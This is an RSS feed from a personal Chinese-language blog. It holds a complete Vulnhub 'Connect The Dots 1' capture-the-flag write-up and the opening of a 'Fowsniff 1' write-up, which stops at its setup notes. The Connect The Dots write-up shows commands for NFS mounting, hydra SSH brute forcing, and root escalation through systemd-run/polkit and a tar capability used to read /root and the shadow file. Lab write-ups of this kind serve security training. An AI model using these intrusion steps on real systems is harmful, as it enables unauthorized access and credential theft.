<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Owen_W Blog</title><description>记录技术成长与生活思考的个人博客</description><link>https://blog.owenwoow.com/</link><language>zh_CN</language><item><title>Vulnhub Connect The Dots 1 WriteUp</title><link>https://blog.owenwoow.com/posts/2026/07/01/connect_the_dots/</link><guid isPermaLink="true">https://blog.owenwoow.com/posts/2026/07/01/connect_the_dots/</guid><description>一台非常考验知识面的 Vulnhub 靶机，涉及 jsfuck、NFS、FTP 多文件读取、getcap 获取文件能力、polkit、文件图片隐写、摩尔斯电码和断电隐患文件恢复等知识点。</description><pubDate>Wed, 01 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;h3&gt;靶场介绍&lt;/h3&gt;
&lt;p&gt;非常考验你的知识面的机器，涉及 JSFuck、NFS、FTP 多文件读取、getcap 获取文件能力、polkit、文件图片隐写、莫尔斯码和断电隐患文件恢复等知识。&lt;/p&gt;
&lt;h3&gt;靶场信息&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;字段&lt;/th&gt;
&lt;th&gt;值&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;靶机名&lt;/td&gt;
&lt;td&gt;Connect The Dots: 1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;靶机 IP&lt;/td&gt;
&lt;td&gt;192.168.200.130 - 132&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;靶机 URL&lt;/td&gt;
&lt;td&gt;https://www.vulnhub.com/entry/connect-the-dots-1,384/&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;下载（镜像）&lt;/td&gt;
&lt;td&gt;https://download.vulnhub.com/connectthedots/Connect-The-Dots.ova&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;打靶过程中 VM 出了点问题，导致 IP 被重新分配，最终提权时候的 IP 为 &lt;code&gt;192.168.200.132&lt;/code&gt;。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;涉及工具&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;nmap&lt;/li&gt;
&lt;li&gt;gobuster&lt;/li&gt;
&lt;li&gt;showmount&lt;/li&gt;
&lt;li&gt;hydra&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;思维导图&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./img/Connect_the_dots/Connect_The_Dots_1_%E6%80%9D%E7%BB%B4%E5%AF%BC%E5%9B%BE.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;1. 信息收集&lt;/h1&gt;
&lt;h2&gt;1.1 Nmap 信息扫描&lt;/h2&gt;
&lt;h3&gt;端口扫描&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;$ nmap -sT --min-rate 10000 -p- 192.168.200.130 -oA nmap/ports
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Connect_the_dots/image-20260608082850661.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;开放端口：21, 80, 111, 2049, 7822, 34217, 34707, 38399, 42211&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;详细信息&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;$ nmap -sT -sV -sC -O -p21,80,111,2049,7822,34217,34707,38399,42211 192.168.200.130 -oA detail
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Connect_the_dots/image-20260608083710888.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;重点：21、80、2049、7822（是 ssh 的端口）&lt;/p&gt;
&lt;h3&gt;UDP 扫描&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;$ nmap -sU --top-port 20 192.168.200.131 -oA udp
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-08 07:44 -0400
Nmap scan report for 192.168.200.131
Host is up (0.00035s latency).

PORT      STATE         SERVICE
53/udp    closed        domain
67/udp    closed        dhcps
68/udp    open|filtered dhcpc
69/udp    open|filtered tftp
123/udp   closed        ntp
135/udp   open|filtered msrpc
137/udp   closed        netbios-ns
138/udp   closed        netbios-dgm
139/udp   closed        netbios-ssn
161/udp   closed        snmp
162/udp   open|filtered snmptrap
445/udp   closed        microsoft-ds
500/udp   open|filtered isakmp
514/udp   closed        syslog
520/udp   open|filtered route
631/udp   open|filtered ipp
1434/udp  closed        ms-sql-m
1900/udp  closed        upnp
4500/udp  open|filtered nat-t-ike
49152/udp open|filtered unknown
MAC Address: 00:0C:29:6B:60:74 (VMware)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;漏洞扫描&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;$ nmap --script=vuln -p21,80,111,2049,7822 192.168.200.130 -oA nmap/vuln
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Connect_the_dots/image-20260608084041549.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;1.2 FTP 探测&lt;/h2&gt;
&lt;p&gt;anonymous 默认匿名用户无法登入。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Connect_the_dots/image-20260608084320851.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;1.3 NFS&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;$ showmount -e 192.168.200.130
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Connect_the_dots/image-20260610103004591.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;探测到一个共享目录 &lt;code&gt;/home/morris&lt;/code&gt;，将其挂载到本地。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ sudo mount -t nfs 192.168.200.130:/home/morris /mnt/nfs
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;检查挂载：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Connect_the_dots/image-20260608084937437.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ ls -liah
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Connect_the_dots/image-20260608085214327.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这是一个用户的家目录，没有上传文件的权限，我觉得可以用系统中 &lt;code&gt;.ssh&lt;/code&gt; 目录下的公私钥尝试能不能通过无密码登入。&lt;/p&gt;
&lt;p&gt;这个 nfs 共享也没有下载的权限，不过我可以通过 cat 来把公私钥内容转存到本地。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Connect_the_dots/image-20260608192812971.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;补充一点：在公钥中可以看到所属的用户是谁。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Connect_the_dots/image-20260610103540264.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;1.4 Web 探测&lt;/h2&gt;
&lt;h3&gt;目录枚举&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;$ gobuster dir -u http://192.168.200.130 -w &amp;lt;wordlist&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Connect_the_dots/image-20260608091510290.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;hits.txt&lt;/code&gt; 内容：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Remember! Keep your enumeration game strong!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;/mysite&lt;/code&gt; 是一个做了一半的静态站点，有 html、css、js 文件。打开 html 文件是一个纯静态的登入界面，不过在 &lt;code&gt;/mysite&lt;/code&gt; 列出的文件中，发现了一个比较有意思的点，有一个文件名的后缀是 &lt;code&gt;.cs&lt;/code&gt;。不知道是不是开发者搞错了，还是留下的特殊文件。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Connect_the_dots/image-20260610103740642.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;http://192.168.200.132/mysite/register.html&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Connect_the_dots/image-20260610104007728.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最终在 &lt;code&gt;http://192.168.200.132/mysite/bootstrap.min.cs&lt;/code&gt; 的文件中发现了作者留下的立足点。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Connect_the_dots/image-20260610104301141.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;2. 权限立足&lt;/h1&gt;
&lt;h2&gt;2.1 解密&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;bootstrap.min.cs&lt;/code&gt; 内容片段：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var a = &quot;Loading...&quot;
var b1 = &quot;[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;上网搜索后发现这个加密叫做 jsfuck，一种恶搞风格的加密方式。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在线解密：https://jsfuck.com/&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;解密结果：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;You&apos;re smart enough to understand me. Here&apos;s your secret, TryToGuessThisNorris@2k19
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Connect_the_dots/image-20260608200828052.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;你很聪明，能够理解我。这是你的秘密，……&lt;/p&gt;
&lt;p&gt;我猜测后面跟着的很有可能是密码或者是目录？不管了，我觉得先尝试一下是不是 ssh 的登入凭证。&lt;/p&gt;
&lt;p&gt;结合密码的细节我构造出了这两套字典：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# users.txt
root
Norris
norris
morris
Morris

# pass.txt
Norris@2k19
@2k19
2k19
TryToGuessThisNorris@2k19
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;开始枚举：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ hydra -L users.txt -P pass.txt ssh://192.168.200.131:7822
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Connect_the_dots/image-20260608201635451.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[7822][ssh] host: 192.168.200.131   login: norris   password: TryToGuessThisNorris@2k19
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;$ ssh norris@192.168.200.132 -p 7822
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h1&gt;3. 提权&lt;/h1&gt;
&lt;h2&gt;3.1 信息收集（norris 用户）&lt;/h2&gt;
&lt;p&gt;确认当前用户身份：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;norris@sirrom:~$ uname -a
Linux sirrom 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64 GNU/Linux
norris@sirrom:~$ id
uid=1001(norris) gid=1001(norris) groups=1001(norris),27(sudo)   # &amp;lt;-- norris 在 sudo 组
norris@sirrom:~$ whoami
norris
norris@sirrom:~$ pwd
/home/norris
norris@sirrom:~$ ls
ftp  user.txt
norris@sirrom:~$ cat user.txt
2c2836a138c0e7f7529aa0764a6414d0
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;计划任务&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;norris@sirrom:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

17 *    * * *   root    cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.monthly )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;/etc/cron.d/anacron&lt;/code&gt; 也查了，没有可利用项。&lt;/p&gt;
&lt;h3&gt;SUID 文件&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;norris@sirrom:~$ find / -perm -u=s -type f 2&amp;gt;/dev/null
/usr/lib/spice-gtk/spice-client-glib-usb-acl-helper
/usr/lib/xorg/Xorg.wrap
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/sbin/pppd
/usr/sbin/mount.nfs
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/fusermount
/usr/bin/chfn
/usr/bin/bwrap
/usr/bin/mount
/usr/bin/su
/usr/bin/pkexec
/usr/bin/ntfs-3g
/usr/bin/chsh
/usr/bin/sudo
norris@sirrom:~$
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;可写文件&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;norris@sirrom:~$ find / -writeable -type f 2&amp;gt;/dev/null |grep -v &apos;/proc/*&apos;
norris@sirrom:~$ find / -writable -type f ! -path &apos;/proc/*&apos; 2&amp;gt;/dev/null
/home/norris/.bashrc
/home/norris/.bash_logout
/home/norris/.profile
/sys/kernel/security/apparmor/.remove
/sys/kernel/security/apparmor/.replace
# ... （其余均为 /sys/fs/cgroup/ 下的系统文件，无可利用项）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;以 norris 身份排查四项均无直接利用路径。觉得探索其他方向。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;家目录&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;norris@sirrom:~$ ls -liah
total 40K
131091 drwxr-xr-x 5 norris norris  4.0K Jun  8 17:45 .
131316 drwxr-xr-x 4 root   root    4.0K Oct 11  2019 ..
179021 -r-------- 1 norris norris     1 Oct 11  2019 .bash_history
134190 -rw-r--r-- 1 norris norris   220 Oct 11  2019 .bash_logout
131124 -rw-r--r-- 1 norris norris  3.5K Oct 11  2019 .bashrc
131105 dr-xr-xr-x 3 nobody nogroup 4.0K Oct 11  2019 ftp
180338 drwx------ 3 norris norris  4.0K Jun  8 17:45 .gnupg
179294 drwxr-xr-x 3 norris norris  4.0K Oct 11  2019 .local
174902 -rw-r--r-- 1 norris norris   807 Oct 11  2019 .profile
179300 -r-------- 1 norris norris    33 Oct 11  2019 user.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;norris@sirrom:~$ cat user.txt 
2c2836a138c0e7f7529aa0764a6414d0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;进入 &lt;code&gt;ftp&lt;/code&gt; 目录查看：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;norris@sirrom:~$ cd ftp/
norris@sirrom:~/ftp$ ls -liah
total 12K
131105 dr-xr-xr-x 3 nobody nogroup 4.0K Oct 11  2019 .
131091 drwxr-xr-x 5 norris norris  4.0K Jun  8 17:45 ..
179189 drwxr-xr-x 2 norris norris  4.0K Oct 11  2019 files
norris@sirrom:~/ftp$ cd files/
norris@sirrom:~/ftp/files$ ls -liah
total 972K
179189 drwxr-xr-x 2 norris norris  4.0K Oct 11  2019 .
131105 dr-xr-xr-x 3 nobody nogroup 4.0K Oct 11  2019 ..
179199 -r-------- 1 norris norris  6.2K Oct 11  2019 backups.bak
179297 -r-------- 1 norris norris   39K Oct 11  2019 game.jpg.bak
179310 -r-------- 1 norris norris    29 Oct 11  2019 hits.txt.bak
179311 -r-------- 1 norris norris  911K Oct 11  2019 m.gif.bak
norris@sirrom:~/ftp/files$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;直接 &lt;code&gt;cat&lt;/code&gt; 查看会乱码，由于之前 nmap 扫描中发现了 FTP 端口，决定用 FTP 客户端将文件下载下来后再用二进制工具分析。&lt;/p&gt;
&lt;p&gt;用 norris 的凭证登入 FTP，果然可以列出和下载文件。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Connect_the_dots/Snipaste_2026-06-09_17-29-43.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;将文件下载下来使用 &lt;code&gt;strings&lt;/code&gt; 分析，在 &lt;code&gt;game.jpg.bak&lt;/code&gt; 这个文件中藏有一段摩斯密码。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Connect_the_dots/Snipaste_2026-06-09_19-06-48.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;decode&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;HEY?NORRIS,?YOU&apos;VE?MADE?THIS?FAR.?FAR?FAR?FROM?HEAVEN?WANNA?SEE?HELL?NOW??HAHA?YOU?SURELY?MISSED?ME,?DIDN&apos;T?YOU??OH?DAMN?MY?BATTERY?IS?ABOUT?TO?DIE?AND?I?AM?UNABLE?TO?FIND?MY?CHARGER?SO?QUICKLY?LEAVING?A?HINT?IN?HERE?BEFORE?THIS?SYSTEM?SHUTS?DOWN?AUTOMATICALLY.?I?AM?SAVING?THE?GATEWAY?TO?MY?DUNGEON?IN?A?&apos;SECRETFILE&apos;?WHICH?IS?PUBLICLY?ACCESSIBLE.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;他说把凭证藏在某个名为 &lt;code&gt;SECRETFILE&lt;/code&gt; 的公开文件里，接下来需要继续对靶机文件进行探测。除了家目录以外，Web 目录也是重点方向。（其实这里可以直接用 find 去找这个文件）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Connect_the_dots/Snipaste_2026-06-09_19-23-18.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在 Web 目录下发现了两个可疑文件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;312922 -rw-r--r-- 1 www-data www-data   99 Oct 11  2019 secretfile
312917 -rw------- 1 www-data www-data  12K Oct 11  2019 .secretfile.swp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;通过 &lt;code&gt;wget&lt;/code&gt; 将两个文件下载下来。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Connect_the_dots/Snipaste_2026-06-09_19-23-31.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;SWP 文件&lt;/strong&gt; 是一种临时缓存文件，主要用于在编辑器（如 Vim）中紧急保护未保存的工作内容。当系统或编辑器发生崩溃、意外退出时，可以通过 SWP 文件恢复未保存的数据，避免数据丢失。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;vim -r .secretfile.swp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Connect_the_dots/image-20260610141926442.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;恢复后保存退出（&lt;code&gt;:w&lt;/code&gt; → &lt;code&gt;:q!&lt;/code&gt;），得到其中记录的密码。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;3.2 切换至 morris 用户&lt;/h2&gt;
&lt;p&gt;通过前面从 FTP 和 &lt;code&gt;.secretfile.swp&lt;/code&gt; 中提取到的密码 &lt;code&gt;blehguessme090&lt;/code&gt;，尝试切换到机器上的两个用户，root 不成功，切换到 morris 成功。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;morris@sirrom:~$
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;SUID 文件（morris 用户）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;morris@sirrom:~$ find / -perm -u=s -type f 2&amp;gt;/dev/null
/usr/lib/spice-gtk/spice-client-glib-usb-acl-helper
/usr/lib/xorg/Xorg.wrap
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/sbin/pppd
/usr/sbin/mount.nfs
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/fusermount
/usr/bin/chfn
/usr/bin/bwrap
/usr/bin/mount
/usr/bin/su
/usr/bin/pkexec
/usr/bin/ntfs-3g
/usr/bin/chsh
/usr/bin/sudo
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;可写文件（morris 用户）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;morris@sirrom:~$ find / -writable -type f ! -path &apos;/proc/*&apos; 2&amp;gt;/dev/null
/home/morris/.bashrc
/home/morris/.bash_history
/home/morris/.profile
/home/morris/.ssh/id_rsa
/home/morris/.ssh/id_rsa.pub
# ... （其余为 .config/.cache/.local 下的用户数据文件）
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;3.3 提权利用&lt;/h2&gt;
&lt;p&gt;注意到 SUID 列表中有 &lt;code&gt;polkit&lt;/code&gt;，尝试 policykit 相关提权路线。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;norris@sirrom:~/etc$ systemd-run -t /bin/bash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;利用 &lt;code&gt;pkexec&lt;/code&gt; 的 SUID 权限结合 &lt;code&gt;systemd-run&lt;/code&gt; 完成提权，可进一步了解 policykit 相关利用方式。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Connect_the_dots/image-20260610194448787.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;4. 总结&lt;/h1&gt;
&lt;p&gt;上个打过的靶机有这么多图片，一个个看隐写，结果发现不是隐写方向，到这台靶机，隐写又起了作用，看来不能掉以轻心啊。&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;5. 补充&lt;/h1&gt;
&lt;h2&gt;5.1 Linux Capabilities&lt;/h2&gt;
&lt;p&gt;在信息收集时可以使用 getcap 去查看当前系统上所有具有 Linux Capabilities 的可执行文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;norris@sirrom:~$ /sbin/getcap -r / 2&amp;gt;/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/tar = cap_dac_read_search+ep
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;从输出的命令上可以看出 &lt;code&gt;/usr/bin/tar = cap_dac_read_search+ep&lt;/code&gt; 就拥有读取系统所有文件的权限，那就可以直接看 root.txt 和 shadow 文件进行爆破&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/sbin/getcap -r / 2&amp;gt;/dev/null

tar -zcvf root.tar.gz /root
tar -zxvf root.tar.gz
cd root
cat root.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;5.2 polkit 提权详解&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;systemd-run&lt;/code&gt; 如何调用 polkit，最终把权限给 bash&lt;/p&gt;
&lt;h4&gt;整体流程&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;norris 执行 systemd-run
    → systemd (root) 收到请求
    → 向 polkit 询问：norris 有没有资格管理 units？
    → polkit 认证通过
    → systemd 以 root 身份 fork 出 /bin/bash
    → 把 TTY 接回给 norris
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;第一步：谁在真正运行服务？&lt;/h5&gt;
&lt;p&gt;&lt;code&gt;systemd&lt;/code&gt; 本身以 &lt;strong&gt;root&lt;/strong&gt; 运行（PID 1）。&lt;code&gt;systemd-run&lt;/code&gt; 本质是通过 &lt;strong&gt;D-Bus&lt;/strong&gt; 向 systemd 发送一条消息：&quot;帮我起一个临时 unit，运行 &lt;code&gt;/bin/bash&lt;/code&gt;&quot;。&lt;/p&gt;
&lt;p&gt;注意：&lt;strong&gt;&lt;code&gt;systemd-run&lt;/code&gt; 自己没有 SUID&lt;/strong&gt;，它只是一个普通的客户端工具，发消息给 systemd daemon。&lt;/p&gt;
&lt;h5&gt;第二步：polkit 在哪里介入？&lt;/h5&gt;
&lt;p&gt;systemd 收到这个 D-Bus 请求后，不能直接执行——因为请求方是普通用户 norris。systemd 会去问 polkit：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;norris 有没有权限执行 &lt;code&gt;org.freedesktop.systemd1.manage-units&lt;/code&gt; 这个操作？&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;polkit 弹出密码框，norris 输入&lt;strong&gt;自己的密码&lt;/strong&gt;验证身份，polkit 回答&quot;允许&quot;。&lt;/p&gt;
&lt;h5&gt;第三步：权限怎么给到 bash？&lt;/h5&gt;
&lt;p&gt;polkit 认证通过后，&lt;strong&gt;systemd（root进程）直接 fork + exec &lt;code&gt;/bin/bash&lt;/code&gt;&lt;/strong&gt;。这个 bash 是 root 的子进程，默认继承 root 权限。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;-t&lt;/code&gt; 参数的作用：把这个 bash 的 stdin/stdout/stderr 接回到你的终端，你就能交互操作它。&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;6. 参考链接&lt;/h1&gt;
&lt;p&gt;https://github.blog/security/vulnerability-research/privilege-escalation-polkit-root-on-linux-with-bug/&lt;/p&gt;
</content:encoded></item><item><title>Vulnhub Fowsniff 1 WriteUp</title><link>https://blog.owenwoow.com/posts/2026/07/01/fowsniff_1/</link><guid isPermaLink="true">https://blog.owenwoow.com/posts/2026/07/01/fowsniff_1/</guid><description>Fowsniff: 1 是一台以“社工 + 邮件服务渗透”为主线的中等难度 CTF 靶机，需通过 OSINT 追踪泄露密码，利用 POP3 邮件服务获取 SSH 临时密码，并借助 MOTD 机制中的组可写脚本完成提权。</description><pubDate>Wed, 01 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;h3&gt;靶场介绍&lt;/h3&gt;
&lt;p&gt;Fowsniff: 1 是一台以&quot;社工 + 邮件服务渗透&quot;为主线的中等难度 CTF 靶机。剧情背景是 Fowsniff Corp 遭遇数据泄露，员工密码被公开发布在 GitHub 上，攻击者需要利用这批泄露凭据，通过 POP3 邮件服务获取 SSH 临时密码，最终借助 MOTD 机制中的组可写脚本完成提权。&lt;/p&gt;
&lt;p&gt;涉及知识点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;公开数据泄露追踪（OSINT / 社工）&lt;/li&gt;
&lt;li&gt;Hash 破解（John the Ripper，Raw-MD5）&lt;/li&gt;
&lt;li&gt;POP3 邮件协议手动交互&lt;/li&gt;
&lt;li&gt;Hydra 多服务爆破（POP3 / SSH）&lt;/li&gt;
&lt;li&gt;Linux 组权限分析&lt;/li&gt;
&lt;li&gt;MOTD（&lt;code&gt;/etc/update-motd.d/&lt;/code&gt;）提权机制&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;靶场信息&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;字段&lt;/th&gt;
&lt;th&gt;值&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;靶机名&lt;/td&gt;
&lt;td&gt;Fowsniff: 1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;靶机 IP&lt;/td&gt;
&lt;td&gt;192.168.200.166&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;靶机 URL&lt;/td&gt;
&lt;td&gt;https://www.vulnhub.com/entry/fowsniff-1,262/&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;下载（镜像）&lt;/td&gt;
&lt;td&gt;https://download.vulnhub.com/fowsniff/Fowsniff_CTF_ova.7z&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;涉及工具&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;nmap&lt;/li&gt;
&lt;li&gt;dirsearch&lt;/li&gt;
&lt;li&gt;john&lt;/li&gt;
&lt;li&gt;hydra&lt;/li&gt;
&lt;li&gt;telnet&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;思维导图&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./img/Fowsniff_1/Fowsniff_1_%E6%80%9D%E7%BB%B4%E5%AF%BC%E5%9B%BE.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;靶机环境配置&lt;/h3&gt;
&lt;p&gt;靶机无法正常获取 IP，参考以下教程进行修改：&lt;/p&gt;
